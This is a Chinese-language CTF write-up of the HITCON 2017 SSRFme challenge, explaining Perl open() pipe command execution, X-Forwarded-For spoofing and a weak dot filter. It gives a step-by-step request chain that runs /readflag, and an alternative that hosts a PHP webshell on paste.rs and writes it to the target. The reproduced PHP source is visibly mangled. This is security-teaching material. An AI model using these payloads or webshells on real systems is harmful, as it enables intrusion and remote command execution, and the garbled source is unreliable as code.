HITCON 2017 SSRFme
我做的时候题他问题 flag后是乱码
源码
```php
<?php
if (isset($_SERVER'HTTP_X_FORWARDED_FOR')) {
http_x_headers = explode(',', _SERVER'HTTP_X_FORWARDED_FOR');
_SERVER\['REMOTE_ADDR'\] = http_x_headers0;
}
echo $_SERVER"REMOTE_ADDR";
sandbox = "sandbox/" . md5("orange" . _SERVER"REMOTE_ADDR");
@mkdir($sandbox);
@chdir($sandbox);
data = shell_exec("GET " . escapeshellarg(_GET"url"));
info = pathinfo(_GET"filename");
dir = str_replace(".", "", basename(info"dirname"));
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename(info\["basename"\]), data);
highlight_file(FILE);
?>
```
漏洞分析
1. IP 伪造 (X-Forwarded-For)
直接将用户可控的 HTTP 头赋值给 `REMOTE_ADDR`,可伪造 IP 控制沙箱路径。
2. Perl open() 管道符 RCE(核心)
`GET` 是 Perl libwww-perl 的命令。底层调用 Perl 的 `open()` 函数处理 `file:` 协议。
Perl 的 `open()` 特殊行为:**文件名以 `|` 结尾时,当作 shell 命令执行**。
`escapeshellarg` 将参数用单引号包裹,Shell 层面 `|` 不被解释。但 Perl `open()` 的 `|` 检测不经过 Shell,直接检查文件名字符串后缀,两者解析层面不同------绕过成功。
**前提条件**:以 `|` 结尾的文件必须先在文件系统中真实存在,`open()` 才会进入命令执行分支。
3. str_replace 目录穿越(有限)
`str_replace(".", "", ...)` 本想阻止 `..`,但 `..` → `""` 后 `mkdir("")` 和 `chdir("")` 失败,回退到当前目录,文件仍可写入沙箱根目录。
攻击链
Step 1:伪造 IP & 创建触发文件
```
X-Forwarded-For: 1.1.1.1
GET /?url=&filename=bash -c /readflag|
```
-
`shell_exec("GET '' ")` → `$data` 为空
-
`pathinfo("bash -c /readflag|")` → dirname=".", basename="bash -c /readflag|"
-
`str_replace(".","",".")` → ""
-
`mkdir("")` / `chdir("")` 失败,留在 sandbox 根目录
-
`file_put_contents("bash -c /readflag|", "")` → **创建空文件,文件名即为命令**
Step 2:触发 Perl open() RCE
```
GET /?url=file:bash -c /readflag|&filename=result
```
- `GET 'file:bash -c /readflag|'` 内部:
-
Perl 解析 `file:` 协议
-
调用 `open("bash -c /readflag|")`
-
文件名以 `|` 结尾 → **执行 `bash -c /readflag`**
-
命令输出作为文件"内容"返回
Step 3:读取 flag
```
GET /sandbox/<md5("orange1.1.1.1")>/result
```
关键知识点
| 要点 | 说明 |
|------|------|
| 漏洞类型 | Perl `open()` 管道符命令执行 |
| escapeshellarg 为何被绕过 | 发生在 Perl 层面(open 函数内部),非 Shell 层面 |
| 关键前提 | 以 `|` 结尾的文件必须先创建(内容可为空) |
| GET 命令 | libwww-perl 的 HTTP 客户端,支持 file/http/https/ftp 协议 |
替代方案:远程 Webshell(paste.rs)
若 Perl open 管道不可用,可用 paste.rs 等粘贴服务托管 PHP 代码,通过 SSRF fetch 写入 `.php` 文件:
```bash
echo '<?php system($_GET"cmd");?>' | curl -F 'paste=<-' https://paste.rs
→ https://paste.rs/XXXX
curl 'http://target/?url=https://paste.rs/XXXX\&filename=cmd.php' -H 'X-Forwarded-For: 1.1.1.1'
→ 写入 sandbox/<hash>/cmd.php,可执行系统命令
```